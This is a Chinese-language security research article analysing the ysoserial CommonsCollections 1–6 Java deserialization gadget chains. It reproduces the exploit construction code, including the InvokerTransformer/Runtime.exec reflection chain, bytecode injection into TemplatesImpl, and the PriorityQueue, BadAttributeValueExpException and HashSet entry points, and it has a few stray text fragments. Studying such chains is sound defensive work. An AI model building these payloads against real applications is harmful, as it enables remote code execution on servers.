作者:Seaer@深信服千里目安全实验室
原文链接:https://mp.weixin.qq.com/s/sraJ2K9R2CkLHiCcPK0wrA
首先构造transformers反射链,调用ChainedTransformer方法封装transformers数组,串联三次反射。
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
};
final Transformer transformerChain = new ChainedTransformer(transformers);
InvokerTransformer sink点解析:
首先跟踪base sink点 InvokerTransformer#transform
方法,以及InvokerTransformer构造方法。在InvokerTransformer#transform(Object input)
方法中调用了invoke方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
invoke方法存在三个输入点,分别是method对象,input和this.iArgs两个形参。其中input作为transform的传入参数(此参数是否可控取决于transform方法被调用时,传入参数是否可控)。this.iArgs是可以通过调用InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
构造方法进行赋值。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
method对象可以通过调用cls.getMethod(this.iMethodName, this.iParamTypes)
获取,其中getMethod方法的两个形参,也均可以通过调用上述的InvokerTransformer构造方法进行赋值。此时的method方法可以是任意类中的任意方法对象。
此时,如果可以控制transform方法的传入参数,就可以通过invoke方法,调用任意类中的任意方法。
目前存在的问题:
(1)如果可以找到满足条件的transform方法,也仅仅可以调用一次反射。然而构造一个可以执行任意命令的恶意Runtime对象,需要调用三次反射。
(2)如何控制控制InvokerTransformer#transform
方法的传入参数。
针对问题1,工具作者找到了ChainedTransformer类。
通过调用ChainedTransformer构造函数,生成Transformer数组对象。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
且调用ChainedTransformer#transform
方法,可以依次调用Transformer数组中的Transformer对象,因此完成transform三次反射方法的串联。
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
针对问题2,工具作者找到了ConstantTransformer类,通过调用ConstantTransformer构造方法,可以为iConstant属性赋值
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
由于ConstantTransformer继承Transformer接口,同样也可以装载到Transformer数组中,调用transform方法。
ConstantTransformer#transform(Object input)
方法会返回之前可控的iConstant属性,进而控制InvokerTransformer#transform
方法的传入参数
此时调用装载四个transform对象的ChainedTransformer#transform
方法时,则会触发反射,效果等价于下述代码。
Class clazz = Runtime.class;
Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(), new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.getClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});
此时sink点梳理完毕,接下来需要找到一个可以调用到ChainedTransformer#transform
方法的source。
工具作者找到了LazyMap类来调用transform方法。当调用LazyMap#get方法时,则会调用this.factory.transform(key)
方法。
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
而其中的this.factory
对象,可以通过调用decorate(Map map, Transformer factory)
方法,进而调用LazyMap(Map map, Factory factory)
构造方法进行控制
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
此时,仅需找到调用LazyMap#get(Object key)
方法的入口,即可完成上述利用链的构造。
接下来作者找到了sun.reflect.annotation.AnnotationInvocationHandler
入口类,在sun.reflect.annotation.AnnotationInvocationHandler#invoke
方法中,调用了this.memberValues.get(var4)
方法。
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
assert var5.length == 0;
if (var4.equals("toString")) {
return this.toStringImpl();
} else if (var4.equals("hashCode")) {
return this.hashCodeImpl();
} else if (var4.equals("annotationType")) {
return this.type;
} else {
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
且在AnnotationInvocationHandler
构造方法中,可以为this.memberValues
属性赋值。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
this.type = var1;
this.memberValues = var2;
}
且AnnotationInvocationHandler
继承Serializable,可以反序列化,跟踪一下反序列化入口的readObject方法。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
在readObject方法里调用this.memberValues.entrySet().iterator()
方法,其中this.memberValues
可以通过调用AnnotationInvocationHandler
构造方法,赋值为LazyMap对象,且LazyMap对象被创建动态代理类,代理接口为Map.class,当调用Map.class类中的方法时,将会调用AnnotationInvocationHandler#invoke
方法。entrySet方法是Map.class中的方法,因此会进入AnnotationInvocationHandler#invoke
方法中,并调用this.memberValues.get(var4)
方法,其中this.memberValues
是LazyMap,因此完成了sink点的串联,完成整个gadget的构造。
首先分析sink点,作者调用了自定义方法Gadgets.createTemplatesImpl
生成TemplatesImpl
对象。具体跟踪一下生成过程。
首先进入到Gadgets#createTemplatesImpl
方法中。
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
在类中重载createTemplatesImpl
(command
, TemplatesImpl.class
, AbstractTranslet.class,
TransformerFactoryImpl.class
)方法,并传入cmd恶意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.class
、org.apache.xalan.xsltc.runtime.AbstractTranslet.class
、org.apache.xalan.xsltc.trax.TransformerFactoryImpl.class
。重点跟踪一下cmd是如何被注入在利用链中。
``
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
结合Javasist库的相关方法,分析createTemplatesImpl方法:
ClassPool pool = ClassPool.getDefault(); //创建一个ClassPool实例化对象,ClassPool是一个存放着代表class文件的CtClass类容器
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); //将StubTransletPayload.class的路径加到类搜索路径中。(通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的问题)
pool.insertClassPath(new ClassClassPath(abstTranslet)); //同理,将org.apache.xalan.xsltc.runtime.AbstractTranslet.class的路径加到类搜索路径中。
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); //获取StubTransletPayload的CtClass对象,用于后续的编辑。
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; //声明cmd属性对象,并注入传入的command参数。
clazz.makeClassInitializer().insertAfter(cmd); //clazz.makeClassInitializer() -> 新增静态代码块。
//insertAfter() -> 插入代码。
//此段代码是将cmd变量中的代码,注入到StubTransletPayload类中的静态代码块中。
clazz.setName("ysoserial.Pwner" + System.nanoTime()); //修改类名(暂不清楚具体作用是什么)
CtClass superC = pool.get(abstTranslet.getName()); //获取org.apache.xalan.xsltc.runtime.AbstractTranslet对象(StubTransletPayload继承于org.apache.xalan.xsltc.runtime.AbstractTranslet)
clazz.setSuperclass(superC); //将org.apache.xalan.xsltc.runtime.AbstractTranslet设置为StubTransletPayload的父类。
final byte[] classBytes = clazz.toBytecode(); 将StubTransletPayload对象转换成byte数组。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)}); //通过反射将StubTransletPayload对象的byte流赋值给_bytecodes属性中。
Reflections.setFieldValue(templates, "_name", "Pwnr"); //反射赋值
总结上述流程,通过利用Javasist
库,将恶意代码注入到自定义的StubTransletPayload
类中,并将StubTransletPayload
类转换成byte数组,通过反射赋值给org.apache.xalan.xsltc.trax.TemplatesImpl
类中的bytecodes属性,最终返回TemplatesImpl
对象。
此时,当实例化org.apache.xalan.xsltc.trax.TemplatesImpl
类中的_bytecodes
属性中的类,即可触发恶意代码执行。作者找到了TemplatesImpl#newTransformer
方法加载_bytecodes
中的byte字节流。
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
重点跟进分析调用的getTransletInstance
方法。
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
首先调用defineTransletClasses()
方法加载_bytecodes
。
private void defineTransletClasses() throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
class[i] = loader.defineClass(bytecodes[i])
将bytecodes属性中的恶意字节流,赋值给TemplatesImpl#class
属性中。
回到getTransletInstance
方法中,调用class[transletIndex].newInstance()
方法,实例化_class字节流里的类,从而触发恶意代码。
现在,需要找到一个可以调用TemplatesImpl#newTransformer
方法的方式。回想一下CommonsCollections1中的可以调用任意方法的InvokerTransformer#transform(object input)
方法。
将TemplatesImpl对象作为transform方法的传入参数
将newTransformer
赋值给InvokerTransformer#iMethodName
找到一个可以调用InvokerTransformer#transform(object input)
方法的方式
满足上述三个条件,即可实现TemplatesImpl#newTransformer
方法。
其中第二个条件可以通过反射来解决,重点在于找到一个可以满足条件一和条件三的source。这里工具作者找到了java.util.PriorityQueue
作为入口类。从反序列化入口PriorityQueue#readObject
方法进行分析。
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
调用heapify()
方法。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
调用siftDown(i, (E) queue[i])
方法。
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这里存在一个判断逻辑,判断条件是PriorityQueue#comparator
是否为空,执行siftDownUsingComparator
方法。
进入siftDownUsingComparator
方法中。
printf("hello worprivate void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
通过调用siftDownUsingComparator
方法,可以调用任意实现java.util.Comparator
接口的类的compare方法。
此时,我们需要找到一个实现java.util.Comparator
接口,并且在compare方法中调用InvokerTransformer#transform
方法的类。工具作者找到了org.apache.commons.collections4.comparators.TransformingComparator
类。
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
通过调用TransformingComparator(Transformer<? super I, ? extends O> transformer)
构造方法,可以为this.transformer
赋值。
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
通过org.apache.commons.collections4.comparators.TransformingComparator
类,满足了条件一(将TemplatesImpl对象作为transform方法的传入参数)和条件三(找到一个可以调用InvokerTransformer#transform(object input)
方法的方式)。至此完成整个利用链的构建。
CommonsCollections3的source与CommonsCollections1的source相同,都是以sun.reflect.annotation.AnnotationInvocationHandler
作为入口,通过创建Map动态代理类,通过调用sun.reflect.annotation.AnnotationInvocationHandler
的invoke方法,从而调用LazyMap#get
方法,控制实现Transformer接口下的任意类中的transform方法。
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
return handler;
CommonsCollections3的sink点构造思路则是和CommonsCollections2中的base sink点(将恶意字节流注入到org.apache.xalan.xsltc.trax.TemplatesImpl
类中的_bytecodes属性,等待调用TemplatesImpl#newTransformer方法
) 。
Object templatesImpl = Gadgets.createTemplatesImpl(command);
CommonsCollections3的不同之处在于,Gadget作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
类。在TrAXFilter(Templates templates)
构造方法中,调用了templates.newTransformer()
方法。
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
仅需找到可以调用TrAXFilter(恶意Templates对象)方法即可。Gadget作者找到了InstantiateTransformer#transform(object input)
方法,通过调用此方法实现TrAXFilter构造方法的调用。
inal Transformer transformerChain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )
}
);
与InvokerTransformer#transform
方类似,InstantiateTransformer#transform(object input)
方法会调用传入的object对象的构造方法。
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
如果transform方法的传入参数input可控,且iParamTypes(传入对象的构造方法)与iArgs(构造方法的传入参数)可控,即可调用任意类的构造方法。
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
通过调用InstantiateTransformer构造方法可以实现对iParamTypes和iArgs参数的控制。目前的目标是调用TrAXFilter(恶意Templates对象)构造方法,通过构造上文提到的ChainedTransformer
反射链,完成如下效果:
TrAXFilter.getConstructor(Templates.class).newInstance(恶意Templates对象)
从而实现装载恶意Templates对象的TrAXFilter对象调用构造方法,实现恶意Templates对象的newTransformer调用。从而完成利用链的构造。
CommonsCollections4的利用链构造是结合CommonsCollections2的source点(java.util.PriorityQueue
)和CommonsCollections3的sink点(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
)
SINK:
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
···
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
source:
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
return queue;
这里存在一个问题:为什么不能像CommonsCollections3一样,在实例化ConstantTransformer对象时直接传入TrAXFilter
对象,以及实例化InstantiateTransformer
对象时,直接传入Templates.class
和Templates对象?
由于PriorityQueue作为反序列化入口类,且装载恶意对象的queue属性设置了transient关键字,所以需要调用PriorityQueue#add
方法为queue属性赋值,而在赋值的过程中,会调用comparator.compare(x, (E) e)
方法。
public boolean add(E e) {
return offer(e);
}
调用offer方法
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
调用siftUpUsingComparator方法
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
最终调用comparator.compare(x, (E) e)方法。
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
如果在调用add方法之前,调用ConstantTransformer(TrAXFilter.class)
方法生成ConstantTransformer实例化对象,调用InstantiateTransformer(Templates.class, 恶意Templates对象)生成InstantiateTransformer实例化对象。在调用add方法是,会触发TransformingComparator#compare
调用链,依次调用ConstantTransformer#transform
方法,返回TrAXFilter对象。再调用InstantiateTransformer#transform
方法,调用TrAXFilter.getConstructor((Templates.class).newInstance(templates)
方法,从而在序列化之前触发了代码执行,并且抛出异常终止程序(正常流程是在服务器上反序列化,执行代码后抛出异常)。
因此为了避免程序在序列化之前中止,需要在调用add方法前,实例化不会抛出异常的正常ConstantTransformer
实例化对象和InstantiateTransformer
实例化对象。在执行add方法后,再通过反射将两个对象中的对应属性进行更改,完成序列化的正常运行。
CommonsCollections4的构造思路,结合CommonsCollections3的实现装载恶意Templates
对象的TrAXFilter
对象调用构造方法,实现恶意Templates
对象的newTransformer
调用的方式,生成一个恶意ChainedTransformer
对象,再结合CommonsCollections2的source,通过调用PriorityQueue
的构造方法,将恶意的ChainedTransformer
对象赋值给PriorityQueue#comparator
属性。
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
在PriorityQueue进行反序列化时,调用comparator.compare
方法,从而调用TransformingComparator.compare
,进而调用ChainedTransformer.transform
方法完成sink点的调用,从而实现利用链的构造。
首先构造transformers反射链,调用ChainedTransformer方法封装transformers数组,串联三次反射。
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)
};
实例化Map对象,调用LazyMap类中的decorate方法,将transformerChain
对象赋值给LazyMap#factory
属性。此时调用LazyMap#get
方法,且传入的key对象不在map对象中,便可以触发上文提到的反射链。
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
利用链作者利用TiedMapEntry
类封装LazyMap对象,并通过反序列化BadAttributeValueExpException
类,控制BadAttributeValueExpException#val
属性,调用任意类中的toString()
方法。
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
在TiedMapEntry#toString()
方法中调用TiedMapEntry#getValue
方法,从而触发map.get(this.key)
方法。
public String toString() {
return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
return this.map.get(this.key);
}
至此完成整个利用链的构建。
CommonsCollections6的sink链使用的依旧是InvokerTransformer
反射接口,利用ChainedTransformer
串联三次InvokerTransformer
反射和ConstantTransformer接口,获取恶意的Runtime类。调用LazyMap.decorate
方法,将恶意的ChainedTransformer
赋值给LazyMap#factory
,当调用LazyMap#get(Object key)
方法,则会触发恶意代码的执行。(与CommonsCollections1、CommonsCollections5的sink点相同)
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
CommonsCollections6 gadget作者找到了TiedMapEntry类,其中在TiedMapEntry#getValue()
方法中调用了this.map.get(this.key)
方法。
public Object getValue() {
return this.map.get(this.key);
}
调用TiedMapEntry(Map map, Object key)构造方法,可以为TiedMapEntry#map赋值
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
在TiedMapEntry中的equals(Object obj)、hashCode()、toString()方法中都调用了TiedMapEntry#getValue()方法。这里作者选择调用TiedMapEntry#hashCode()方法
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
此时需要寻找一个调用hashCode()方法的类,并且可以串联反序列化入口类。这里Gadget作者找到了HashMap和HashSet。在HashMap#put
方法中,调用了hash方法,进而调用了hashcode方法。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
在HashSet类的反序列化入口readObject方法中
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
在进行反序列化的过程中,实例化HashMap对象,并调用了map.put(e, PRESENT)
方法。如果传入的e参数可控,并且可以赋值恶意的TiedMapEntry对象,即可执行恶意代码。e参数是通过调用readObject方法获取的,所以需要找到对应的将e参数进行序列化的writeObject方法。在HashSet#writeObject
方法中找到了对应方法。
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out any hidden serialization magic
s.defaultWriteObject();
// Write out HashMap capacity and load factor
s.writeInt(map.capacity());
s.writeFloat(map.loadFactor());
// Write out size
s.writeInt(map.size());
// Write out all elements in the proper order.
for (E e : map.keySet())
s.writeObject(e);
}
遍历map对象中的key值,并循环调用writeObject方法进行序列化。因此,需要将恶意的TiedMapEntry对象注入到HashMap的Key值中。HashMap的key属性存储在HashMap$Node
类型的HashMap#table
属性中,构造反射链获取key属性。
Field f = HashSet.class.getDeclaredField("map");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = HashMap.class.getDeclaredField("table");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = node.getClass().getDeclaredField("key");
